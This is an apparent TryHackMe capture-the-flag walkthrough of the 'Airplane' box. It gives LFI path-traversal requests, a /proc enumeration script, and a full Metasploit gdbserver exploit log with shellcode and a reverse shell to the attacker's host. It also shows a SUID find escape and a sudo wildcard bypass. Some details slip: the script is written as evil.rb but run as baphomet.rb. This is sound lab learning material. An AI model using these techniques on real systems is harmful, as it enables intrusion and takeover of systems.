Skip to content

Airplane

Box Info

Platform: TryHackMe, OS: Linux (Ubuntu 5.4), Difficulty: Medium, Host: airplane.thm

Attack Path

  1. Web on :8000, ?page= is path-traversal LFI. Read /etc/passwd (users carlos, hudson) and enumerate /proc/*/cmdline.
  2. /proc reveals gdbserver 0.0.0.0:6048 airplane, an exposed gdbserver → msf exploit/multi/gdb/gdb_server_exec → shell as hudson.
  3. SUID /usr/bin/find owned by carlos → find . -exec /bin/bash -p \; -quit → carlos.
  4. sudo -l: (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb, the /root/*.rb glob is satisfied by /root/../tmp/evil.rb → run our own script → root.

Full Walkthrough

Nmap scan

Web Enumeration

My first look at the web application on port 8000 immediately drew my eye to a page parameter in the URL, which is exactly the kind of parameter name that usually points at server-side file inclusion. I decided to test for LFI first, before anything else, since a parameter that literally controls which page gets loaded is a strong signal the backend is doing some form of file path concatenation behind the scenes.

http://airplane.thm:8000/?page=../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash

That path traversal payload worked cleanly and handed me the full /etc/passwd, confirming the LFI beyond any doubt. With arbitrary file read established, I wanted to push it further than just reading static configuration files: Linux exposes live process information under /proc/<pid>/cmdline, so if I could walk through enough PIDs, I could potentially see exactly what services and binaries were running on the box in real time, information I would normally only get from a shell. I wrote a small script to automate that sweep across a reasonable PID range.

import requests

for i in range(1, 1001):
    print(f"\r{i}", end="", flush=True)
    url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
    response = requests.get(url)
    
    if response.status_code == 200:
        content = response.text
        if 'Page not found' not in content and content:
            print(f"\r/proc/{i}/cmdline: {content}")

Going back over the passwd output while my script ran, I noted the two non-system accounts worth keeping in mind for later, since either one was a realistic target for a foothold.

carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bash

Finding current running user

Before going deeper into /proc enumeration, I wanted to nail down exactly which user context the web application itself was running under, since that tells me who I would actually be if this LFI ever turned into code execution. /proc/self/environ is a reliable way to get that answer directly from the running process’s own environment rather than guessing from file ownership.

GET /?page=../../../../../../../../proc/self/environ HTTP/1.1
Host: airplane.thm:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The environment dump answered that question directly: the web process runs as hudson, not www-data or some generic service account, which meant if I could ever escalate this LFI to code execution, I would land as a real named user rather than an unprivileged web daemon.

Response

HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.10
Date: Mon, 19 May 2025 06:42:16 GMT
Content-Disposition: inline; filename=environ
Content-Type: application/octet-stream
Content-Length: 437
Last-Modified: Mon, 19 May 2025 06:42:16 GMT
Cache-Control: no-cache
ETag: "1747636936.4480083-0-2577536004"
Date: Mon, 19 May 2025 06:42:16 GMT
Connection: close

LANG=en_US.UTF-8LC_ADDRESS=tr_TR.UTF-8LC_IDENTIFICATION=tr_TR.UTF-8LC_MEASUREMENT=tr_TR.UTF-8LC_MONETARY=tr_TR.UTF-8LC_NAME=tr_TR.UTF-8LC_NUMERIC=tr_TR.UTF-8LC_PAPER=tr_TR.UTF-8LC_TELEPHONE=tr_TR.UTF-8LC_TIME=tr_TR.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/home/hudsonLOGNAME=hudsonUSER=hudsonSHELL=/bin/bashINVOCATION_ID=0273cd3239f74aa3a6f07d0b3f7f97c6JOURNAL_STREAM=9:19891

Enumerating home dir

With hudson confirmed as the running user, I wanted a second, independent confirmation before building further plans around that assumption, so I tried reading a file I would only expect to succeed against if hudson really was the account in play.

GET /?page=../../../../../../../../home/hudson/.bashrc HTTP/1.1
Host: airplane.thm:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

That request succeeded too, which put the hudson identity beyond doubt. While my earlier /proc sweep continued running in the background, it surfaced something else worth chasing: a running binary called airplane that, when I later got hold of a copy and ran it myself, just printed It's just a simple program :). That kind of deliberately unhelpful output on a box themed around planes told me it was probably a red herring or, at best, a secondary reversing exercise, so I set it aside to look at more closely later rather than let it distract me from the more promising lead already forming in my /proc results.

Interesting LFI finds through /proc

/proc/531/cmdline: /usr/bin/python3app.py
/proc/528/cmdline: /usr/bin/gdbserver0.0.0.0:6048 airplane (POSSIBLE RCE)
/proc/566/cmdline: /opt/airplane

That third line was the real prize: gdbserver bound to 0.0.0.0:6048, meaning the debugging service was reachable from the network rather than restricted to localhost. An exposed gdbserver is effectively unauthenticated remote code execution, since the GDB remote protocol lets a connecting client write to and execute arbitrary memory in the debugged process. Rather than crafting that protocol interaction by hand, I reached for Metasploit’s dedicated module for exactly this scenario, multi/gdb/gdb_server_exec, pointed it at the port, and let it drive the exploitation.

msf6 exploit(multi/gdb/gdb_server_exec) > run
[*] Started reverse TCP handler on 10.21.23.235:4444 
[*] 10.10.196.240:6048 - Performing handshake with gdbserver...
[*] 10.10.196.240:6048 - Sending cmd: $qSupported:multiprocess+;qRelocInsn+;qvCont+;#46
[*] 10.10.196.240:6048 - Received ack...
[*] 10.10.196.240:6048 - Result: $PacketSize=47ff;QPassSignals+;QProgramSignals+;QStartupWithShell+;QEnvironmentHexEncoded+;QEnvironmentReset+;QEnvironmentUnset+;QSetWorkingDir+;QCatchSyscalls+;qXfer:libraries-svr4:read+;augmented-libraries-svr4-read+;qXfer:auxv:read+;qXfer:siginfo:read+;qXfer:siginfo:write+;qXfer:features:read+;QStartNoAckMode+;qXfer:osdata:read+;multiprocess+;fork-events+;vfork-events+;exec-events+;QNonStop+;QDisableRandomization+;qXfer:threads:read+;ConditionalTracepoints+;TraceStateVariables+;TracepointSource+;DisconnectedTracing+;FastTracepoints+;StaticTracepoints+;InstallInTrace+;qXfer:statictrace:read+;qXfer:traceframe-info:read+;EnableDisableTracepoints+;QTBuffer:size+;tracenz+;ConditionalBreakpoints+;BreakpointCommands+;QAgent+;Qbtrace:bts+;Qbtrace-conf:bts:size+;Qbtrace:pt+;Qbtrace-conf:pt:size+;Qbtrace:off+;qXfer:btrace:read+;qXfer:btrace-conf:read+;swbreak+;hwbreak+;qXfer:exec-file:read+;vContSupported+;QThreadEvents+;no-resumed+#48
[*] 10.10.196.240:6048 - Sending ack...
[*] 10.10.196.240:6048 - Sending cmd: $!#21
[*] 10.10.196.240:6048 - Received ack...
[*] 10.10.196.240:6048 - Result: $OK#9a
[*] 10.10.196.240:6048 - Sending ack...
[*] 10.10.196.240:6048 - Stepping program to find PC...
[*] 10.10.196.240:6048 - Sending cmd: $vCont;s#b8
[*] 10.10.196.240:6048 - Received ack...
[*] 10.10.196.240:6048 - Before decoding: $T0506:f0ebf*"7f0* ;07:f0ebf*"7f0* ;10:f80dfdf7ff7f0* ;thread:p236.236;core:1;#1e
[*] 10.10.196.240:6048 - Result: $T0506:f0ebffffff7f0000;07:f0ebffffff7f0000;10:f80dfdf7ff7f0000;thread:p236.236;core:1;#1e
[*] 10.10.196.240:6048 - Sending ack...
[*] 10.10.196.240:6048 - Writing payload at 00007ffff7fd0df8...
[*] 10.10.196.240:6048 - Sending cmd: $M00007ffff7fd0df8,a2:6a39580f054885c074084831ff6a3c580f0504700f056a39580f054885c075ea31ff6a095899b6104889d64d31c96a22415a6a075a0f054885c078516a0a4159506a2958996a025f6a015e0f054885c0783b489748b90200115c0a1517eb514889e66a105a6a2a580f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f4885c079c76a3c586a015f0f055e6a7e5a0f054885c078edffe6#a4
[*] 10.10.196.240:6048 - Received ack...
[*] 10.10.196.240:6048 - Result: $OK#9a
[*] 10.10.196.240:6048 - Sending ack...
[*] 10.10.196.240:6048 - Executing the payload...
[*] 10.10.196.240:6048 - Sending cmd: $vCont;c#a8
[*] 10.10.196.240:6048 - Received ack...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.10.196.240
[*] Meterpreter session 1 opened (10.21.23.235:4444 -> 10.10.196.240:59304) at 2025-05-19 02:54:17 -0400

meterpreter > 

Privesc to carlos

With a meterpreter session as hudson established, I moved on to hunting for a path to carlos, the other user I had noted earlier from /etc/passwd. Running linpeas turned up a classic SUID misconfiguration almost immediately: /usr/bin/find had the SUID bit set and was owned by carlos. find’s -exec flag is a well known GTFOBins-style escape from SUID binaries, since it will happily execute an arbitrary command with the effective privileges of the binary’s owner, so I used it to spawn a privileged bash shell directly.

(remote) hudson@airplane:/tmp$ /usr/bin/find . -exec /bin/bash -p \; -quit
(remote) carlos@airplane:/tmp$ 

Getting root

As carlos, checking sudo privileges was my next reflexive move, since that is very often where the final privilege escalation on a box like this is waiting.

carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

This entry immediately stood out to me: carlos can run ruby as root against any file matching /root/*.rb, and that wildcard is the whole vulnerability. A glob like that is evaluated by the shell against whatever matches the pattern, and it does not actually restrict the path to files that were placed there intentionally or that live exclusively under /root, it just has to satisfy the pattern syntactically. Since I did not know (and did not need to know) any specific script name root intended for this rule, I turned to pspy briefly to observe how this sudo rule was actually being invoked in practice, which helped confirm my thinking on how to abuse the glob rather than guess blindly.

Other interesting finds

While I was working out the wildcard angle, I let linpeas finish its full pass as carlos as well, partly to double check I was not missing an easier route and partly to confirm the sudo rule’s behavior against real process activity on the box.

OS: Linux version 5.4.0-139-generic (buildd@lcy02-amd64-112) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023
User & Groups: uid=1000(carlos) gid=1000(carlos) groups=1000(carlos),27(sudo) => PART OF SUDO


╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31

Proc 38092 with ppid 9650 is run by user carlos but the ppid user is hudson
Proc 38933 with ppid 1 is run by user carlos but the ppid user is root
Proc 38998 with ppid 38916 is run by user carlos but the ppid user is root
Proc 39726 with ppid 39656 is run by user carlos but the ppid user is root

╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root    1042 ��ub 13  2020 /etc/crontab

/etc/cron.d:
total 32
drwxr-xr-x   2 root root  4096 Nis 17  2024 .
drwxr-xr-x 132 root root 12288 Nis 18  2024 ..
-rw-r--r--   1 root root   285 Tem 16  2019 anacron
-rw-r--r--   1 root root   201 ��ub 14  2020 e2scrub_all
-rw-r--r--   1 root root   102 ��ub 13  2020 .placeholder
-rw-r--r--   1 root root   190 Nis 17  2024 popularity-contest

/etc/cron.daily:
total 64
drwxr-xr-x   2 root root  4096 Nis 17  2024 .
drwxr-xr-x 132 root root 12288 Nis 18  2024 ..
-rwxr-xr-x   1 root root   311 Tem 16  2019 0anacron
-rwxr-xr-x   1 root root   376 Eyl 16  2021 apport
-rwxr-xr-x   1 root root  1478 Nis  9  2020 apt-compat
-rwxr-xr-x   1 root root   355 Ara 29  2017 bsdmainutils
-rwxr-xr-x   1 root root   384 Kas 19  2019 cracklib-runtime
-rwxr-xr-x   1 root root  1187 Eyl  6  2019 dpkg
-rwxr-xr-x   1 root root   377 Oca 21  2019 logrotate
-rwxr-xr-x   1 root root  1123 ��ub 25  2020 man-db
-rw-r--r--   1 root root   102 ��ub 13  2020 .placeholder
-rwxr-xr-x   1 root root  4574 Tem 18  2019 popularity-contest
-rwxr-xr-x   1 root root   214 Oca 20  2023 update-notifier-common


/etc/cron.monthly:
total 24
drwxr-xr-x   2 root root  4096 Mar 16  2023 .
drwxr-xr-x 132 root root 12288 Nis 18  2024 ..
-rwxr-xr-x   1 root root   313 Tem 16  2019 0anacron
-rw-r--r--   1 root root   102 ��ub 13  2020 .placeholder

/etc/cron.weekly:
total 32
drwxr-xr-x   2 root root  4096 Nis 17  2024 .
drwxr-xr-x 132 root root 12288 Nis 18  2024 ..
-rwxr-xr-x   1 root root   312 Tem 16  2019 0anacron
-rwxr-xr-x   1 root root   813 ��ub 25  2020 man-db
-rw-r--r--   1 root root   102 ��ub 13  2020 .placeholder
-rwxr-xr-x   1 root root   403 Oca 20  2023 update-notifier-common

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
HOME=/root
LOGNAME=root

1	5	cron.daily	run-parts --report /etc/cron.daily
7	10	cron.weekly	run-parts --report /etc/cron.weekly
@monthly	15	cron.monthly	run-parts --report /etc/cron.monthly

╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin = INTERESTING


╔══════════╣ Analyzing Cache Vi Files (limit 70)
-rw-r--r-- 1 hudson hudson 1024 May 19 09:56 /home/hudson/.shell.sh.swp

Getting root

Nothing in that additional enumeration changed my plan, so I went ahead with abusing the /root/*.rb wildcard directly. Since carlos had no write access to /root itself, I could not simply drop a script there, but the glob only needs the final resolved path to match the pattern /root/*.rb, which a relative path traversal satisfies just as well as a real file sitting in that directory. I wrote a small ruby payload into /tmp that does nothing more than drop me into a shell, then invoked sudo ruby against a path that starts at /root/, walks back out via .., and lands on my own script in /tmp.

Ruby script

# /tmp/evil.rb
exec "/bin/bash"
sudo /usr/bin/ruby /root/../tmp/baphomet.rb

sudo and the glob both saw a path beginning with /root/*.rb and approved it, but the .. component sent the actual file resolution straight back into /tmp, executing my script as root and handing me the interactive root shell that closed out the box.